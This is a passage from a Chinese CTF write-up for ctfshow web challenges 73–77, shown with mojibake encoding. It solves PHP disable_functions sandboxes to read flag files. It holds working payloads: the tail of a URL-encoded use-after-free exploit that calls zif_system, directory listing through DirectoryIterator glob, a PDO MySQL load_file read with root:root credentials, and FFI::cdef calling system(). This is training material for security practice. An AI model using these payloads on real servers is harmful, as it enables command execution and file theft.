%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflagc.txt%22)%3Bob_end_flush()%3B%0A%3F%3E
發(fā)現(xiàn)uaf失敗
那我們直接讀取呢
c=include('/flagc.txt');exit(0);
?發(fā)現(xiàn)沒(méi)有過(guò)濾 include 相比 72 禁用了 uaf 但是 沒(méi)有禁用include
web74
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
?然后include即可
c=include('/flagx.txt');exit(0);
web75 PDD執(zhí)行讀取文件
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
?
?
?include 被ban
UAF被ban
那我們只能調(diào)用進(jìn)程來(lái)讀取文件
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
解釋一下
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');設(shè)置 dbh 為 pdo對(duì)象 內(nèi)容為 mysql 本地 數(shù)據(jù)庫(kù)命 登入弱口令foreach($dbh->query('select load_file("/flag36.txt")') as $row)使用 query 執(zhí)行命令 讀取 flag36.txt文件內(nèi)容 作為 row變量echo($row[0])."|"; 將查詢第一列輸出$dbh = null; 關(guān)閉數(shù)據(jù)連接catch (PDOException $e) {echo $e->getMessage();exit(0);}如果出現(xiàn)異常 那么就輸出異常 并且退出exit(0); 繞過(guò)緩沖區(qū)清理
?web76
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
?
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
web77? FFI?(PHP 7 >= 7.4.0, PHP 8)
發(fā)現(xiàn)進(jìn)程讀取失敗
這里又給出一個(gè)方法
FFI
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);c=$ffi = FFI::cdef("int system(const char *command);");設(shè)置 ffI變量 通過(guò) FFI的cdef方法定義system函數(shù)的原型然后設(shè)置變量 $a為 讀取flag命令 并且重定位到 1.txt通過(guò) ffi變量執(zhí)行 命令
?最后訪問(wèn)1.txt
?